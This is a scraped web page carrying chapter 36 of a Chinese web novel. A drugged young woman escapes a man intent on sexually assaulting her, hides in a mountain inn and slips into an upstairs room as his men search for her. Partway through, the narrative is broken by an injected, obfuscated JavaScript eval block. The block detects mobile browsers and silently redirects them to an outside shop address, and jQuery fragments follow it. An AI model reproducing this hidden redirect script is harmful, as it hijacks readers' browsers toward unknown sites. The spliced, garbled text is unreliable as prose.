36. 第三十六章
作品:《当黑莲花被皇嫂始乱终弃》 他是什么时候追过来的?
刹那间,萧谙神只觉得心脏险些停止了跳动,脑海里本能地浮现出一种猜测——她现在身子的异样,就是因为这人给她下了药!
然后,趁着早些时候药效还没发作,他就悄悄跟在了她身后,就是在等此刻,能趁她无法反抗时伺机而动。
虽左思右想,仍不知是什么时候叫他得了手......
但眼下,她也暂时无暇去思考这些细节了。
萧谙神猛地回过头,目光一眨不眨地盯着面前一步步朝自己逼近过来的人,摸索着一步步缓缓朝后退去,心脏简直快要跳出胸膛。
天色已经暗了下来,林中雪意昏昏,松林的暗影像是遮天蔽日的网,和浓墨似的天幕交织如影。萧暗神看着对面好整以暇的男人,心中只觉得比山中的洪水猛兽更加可怖。
“小女郎,我们又见面了,可想死我了。”站在暗处的男人负手逼近她,愉快地冲着她吹了声口哨,“怎么一个人在这儿打转?是不是迷了路?”
他慢吞吞地碾过地上的枯枝碎雪,笑得格外真挚,而眼中不怀好意的光逡巡在对面的少女身上,仿佛潜藏于暗处的毒蛇,伺机要将她吞吃殆尽。
萧谙神皱了皱眉头,一边后退,一边躲开了男人的目光。
“你——”
陡然间,山风呼啸着吹过,瞬间将幂笠的白纱吹得猎猎舞起。借着树枝罅隙里的一寸光,男人看清了萧谙神的脸,微微一顿。
昨夜见她,她从未摘下过头上的面纱,他也因此无从得见这小女郎的真容,然而仅凭着帷幔后隐隐绰绰的一重轮廓,他便心中笃定,这一定是个难得的美人。
方才面纱被风撩起,晦明变化之间,美人面容惊鸿一现,便足以叫人见之忘俗、失魂落魄久久失神。
只不过,虽然只有短短一刹,倘若他没看错,她面上正泛着不正常的粉红,即便竭力忍耐着,可脸上的表情还是纤毫毕现——她现在很难受。
更不用说她正不自觉地发着抖。
“啊。”
男人静默了片刻,笑起来,“原来是这么回事——看来和我有同样想法的人不在少数啊,只不过他没有我幸运,没能赶在我之前找到你,是不是?”
这话是什么意思,她变成现在这副模样,不是他下的药?
萧谙神想不明白。
似乎总有哪里不对,可思绪里一团迷雾似的混沌,身体里的酸软难受如同滚滚热潮,不断瓦解着所剩无几的体力和神志,萧谙神只能咬紧了牙关,暂时将问题抛之脑后。
“你是不是很难受?”男人没注意到她面纱下的异样,依旧朝着她步步走来,“真是不罔我跟了你一整路,前方不远便是客栈,我——”
话音未落,忽然有一大团积雪伴着枯枝碎石迎面袭来,男人躲避不及,被砸了一脸,呛了满嘴的雪。
“你——”
他被砸得鼻青脸肿,万万没想到,眼前这个看似手无缚鸡之力的弱女子竟然敢偷袭他。男人抹了一把脸,正要勃然变色,便见萧谙神提起裙角,果断地朝前跑去!
昏暗的夜色里,那身影像是下一秒便会消散在茫茫雪野里,人影一闪,便消失在灌木丛后。
“臭娘们,你以为你逃得掉?”男人冷哼了一声,迈开脚步跟过去,“都成了这副模样,性子还挺烈......老子倒要看看你能跑到哪里去,今日老子非得好好尝尝你这滋味不可!”
......
虽然短暂地甩开了男人,可萧谙神依旧一刻不敢放松。
她早已是强弩之末,腿脚都在不自觉地发抖,只怕一停下脚步便会摔倒在地,再也没有爬起来的机会......然后落进赶来的男人手中。
他方才无意中透露出,山下不远处便是客栈,想来距离此刻她的位置并不太远。
即便她也不确定,但此时此刻,也只能赌上一把了。
萧谙神不敢回头,只顾没命的朝前跑。
天色已经完全黑了,周围漆黑不见五指,只能听见自己因狂奔而急促的呼吸声。所幸,大约半柱香时间后,萧谙神忽然看见前方不远处出现了一点光亮。
男人并没有骗她,真的是客栈!
几乎是在一瞬间,萧谙神几乎要喜极而泣了。即便腿脚已经几乎失去了知觉,她只是拢了拢身上的披风,片刻不敢停留地奔上前去。
在店家放完行装,萧谙神拿着楼上客房的钥匙,勉强扶着扶手上了三楼,进屋锁门。
一进门,便再也支撑不住,双膝一软跪倒在房间的地上。
热。
好热,铺天盖地的热。
萧谙神颤抖着声音解开了斗篷,胡乱扔在一边,这才发现自己后背上全是热汗,而就连手上也泛起了不正常的薄红。
而更要命的是,她现在只感觉到空虚异常,而随着时间越拖越久,这种感觉在不断地放大,好似浑身上下被火烧一般,亟需寻找一汪冷泉缓解这把火。
“......”
萧谙神拨弄了一下自己额前的碎发,又是煎熬又是羞耻。
自己是什么时候被人下了药?为什么自己一点知觉都没有?
况且,自己的车队前脚被袭击,自己险些丧命,后脚便被人神不知鬼不觉地暗算了一道——给她下药的人,真的只是看中了她落单,见/色起意吗?
无数疑团盘桓在心头,然而周身难受得叫她无助地蜷缩起来,根本无暇去想清楚任何事情。客栈的门后,少女将自己的身子缩成一小团,甚至连衣裳都没来得及更,便在地上晕了过去。
-
萧谙神是被门外的脚步声吵醒的。
她昏迷过去的时候没拉上窗帘,窗外早已漆黑如墨,在檐下灯笼的映照下,她看见夜雪静谧无声簇簇飘落在群山之间。
然而,客栈的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632013|185093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼下走廊上,却传来错杂纷繁的脚步声和交谈声——
“那小贱人躲到哪里去了?”
“大哥。”说话的人是个陌生的声音,声线却极为巴结,似乎是男人部下的小咯罗,“楼上便是上房了,这女人是绝对住不起的。依小的看,咱们便将这二楼和三楼的所有房间都挨个查看一番,总归能将人抓回来的!”
男人似乎有些不耐烦,但似乎也想不到别的法子,敷衍地“嗯”了一声,“搜!”
紧接着,走廊上便是一阵嘈杂的脚步声,大力敲门的声音和男人粗俗的声音混合在一起,震得连木质的楼梯和地板都在哐当作响。
萧谙神心中悚然一惊——他追上来了!
看这架势,哪怕掘地三尺,也势必要将她找出来了!
眼下天气恶劣,这客栈本就地势偏僻,客房里只住了寥寥几人。那群人在楼下挨个敲开了房门,强势地搜寻了一番,很快便发现了萧谙神并不在其中,低声咒骂了两句,转而上了楼。
脚步声近在咫尺,眼看便要查到了她所住的房间,萧谙神知道,她不能再这般坐以待毙了。
她咬了咬牙,挣扎着从地上爬了起来。
这家客栈的布局与她从前住过的稍有不同,每间客房外还有半截独立的露天连廊,自窗边一扇小门,便能轻而易举地走出房间。
而在连廊尽头,则是蜿蜒盘旋的竹木楼梯。
楼下是不能去了,而楼上,便是客栈为数不多的几间上房所在,所住的多为来往富商权贵,寻常住店客人不得随意打扰。
“喂,有人吗?”
就在这时,房门被人从外猛地敲了几下。
萧谙神被这动静吓了一跳,浑身一抖,勉力控制着自己没出声。
“无人应答?”外头的人等了片刻,“那就别怪我们硬闯了!”
没时间犹豫了。
眼看屋外的人就要夺门而入,萧谙神顾不上收拾东西,压轻脚步飞快地出了门,三两步上了楼。
连廊里鸦雀无声,唯有窗棂被呼啸的朔风不住地拍打着,发出呜咽的呼啸声。连廊漆黑一团,杳无人烟,萧谙神站在楼梯口,心脏不自觉地狂跳起来。
楼下的客房里,几人瞧见了她的行装,却再一次扑了个空,低声的咒骂声不住传来。
近来客栈人烟稀少,想来上房应该都是空的。
她便进去暂时躲上一躲,待到楼下的人走完,再想法子回到自己的房间。
而且,以她现在的身体状况,必须找个地方暂时将自己藏起来。
这般想着,萧谙神走到门边。
她生怕敲门的动静会引人发觉,于是并未多想,径直去推门。
出乎预料的是,木门轻而易举地被推开了。
然而,屋内并非是如她所想的,漆黑一片、无人居住。
萧谙神在葳蕤的烛火下抬头,对上了一双担忧的双眼。

